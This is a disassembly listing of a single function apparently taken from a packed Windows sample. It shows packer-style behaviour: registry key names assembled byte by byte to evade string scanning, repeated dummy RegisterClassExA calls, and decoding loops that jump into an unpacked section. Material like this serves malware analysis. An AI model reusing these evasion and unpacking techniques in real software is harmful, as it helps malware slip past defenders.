Function at 0x401320
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x79c], 4
mov dword [ebp - 0x784], 0x80000000
mov dword [ebp - 0x798], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x72c], eax
pushal
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12d
mov dword [ebp - 0x28], 0x12
mov dword [ebp - 0x7f4], str.FFFTWAREFFasses
mov dword [ebp - 0x7a4], str.yysid0afaced1_e828_11d1_9187_b532f1e9575dinprocserver32
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x12c
mov dword [ebp - 0x28], 0x11
mov dword [ebp - 0x854], 2
mov dword [ebp - 0x850], 3
mov dword [ebp - 0x84c], 0
mov dword [ebp - 0x848], 0
mov dword [ebp - 0x844], 0
mov dword [ebp - 0x840], 0
mov dword [ebp - 0x834], 0
mov dword [ebp - 0x830], 0
mov dword [ebp - 0x82c], str.asdf
lea ecx, [ebp - 0x824]
push ecx
call dword [sym.imp.USER32.dll_RegisterClassExW]
lea edx, [ebp - 0x854]
push edx
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea eax, [ebp - 0x854]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea ecx, [ebp - 0x854]
push ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea edx, [ebp - 0x854]
push edx
call dword [sym.imp.USER32.dll_RegisterClassExA]
lea eax, [ebp - 0x854]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov ecx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [0x4380c8], ecx
mov edx, dword [ebp - 0x7f4]
mov byte [edx], 0x53
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 1], 0x4f
mov ecx, dword [ebp - 0x7f4]
mov byte [ecx + 2], 0x46
mov edx, dword [ebp - 0x7f4]
mov byte [edx + 9], 0x43
mov eax, dword [ebp - 0x7f4]
mov byte [eax + 0xa], 0x6c
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x7f4]
push edx
push 0x80000002
call dword [0x4380c8]
test eax, eax
je 0x4014c3
xor eax, eax
jmp 0x401765
mov eax, dword [ebp - 0x7a4]
mov byte [eax], 0x63
mov ecx, dword [ebp - 0x7a4]
mov byte [ecx + 1], 0x6c
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x7a4]
push eax
push 0x80000000
call dword [0x4380c8]
test eax, eax
je 0x4014f7
xor eax, eax
jmp 0x401765
push 1
mov ecx, dword [0x4380c4]
push ecx
call fcn.00401a10
add esp, 8
mov dword [0x4380d4], eax
mov edx, dword [0x4380d4]
push edx
call fcn.004019d0
add esp, 4
mov dword [ebp - 0x794], eax
mov eax, dword [0x4380d4]
mov dword [ebp - 0x734], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [0x4380d4]
jae 0x4015a6
mov edx, dword [ebp - 0x734]
push edx
mov eax, dword [ebp - 0x790]
push eax
call fcn.00401960
add esp, 8
mov dword [ebp - 0x788], eax
mov ecx, dword [ebp - 0x788]
push ecx
mov edx, dword [0x4380c4]
add edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x794]
add eax, dword [ebp - 4]
push eax
jmp section..htext
mov ecx, dword [0x4380d4]
push ecx
mov edx, dword [ebp - 0x794]
push edx
call fcn.004012e0
add esp, 8
mov eax, dword [ebp + 8]
mov dword [0x4380b8], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 4], 0
push 2
mov ecx, dword [0x4380c4]
push ecx
call fcn.00401a10
add esp, 8
mov dword [0x4380d4], eax
mov edx, dword [0x4380d4]
push edx
call fcn.004019d0
add esp, 4
mov dword [ebp - 0x2c], eax
mov eax, dword [0x4380d4]
mov dword [ebp - 0x734], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [0x4380d4]
jae 0x40167b
mov edx, dword [ebp - 0x734]
push edx
mov eax, dword [ebp - 0x790]
push eax
call fcn.00401960
add esp, 8
mov dword [ebp - 0x788], eax
mov ecx, dword [ebp - 0x788]
push ecx
mov edx, dword [0x4380c4]
add edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 4]
push eax
call fcn.004010d0
add esp, 0xc
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x790]
add ecx, dword [ebp - 0x30]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x790]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x734]
sub eax, dword [ebp - 0x788]
mov dword [ebp - 0x734], eax
jmp 0x401605
mov ecx, dword [0x4380d4]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
jmp 0x45c03e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret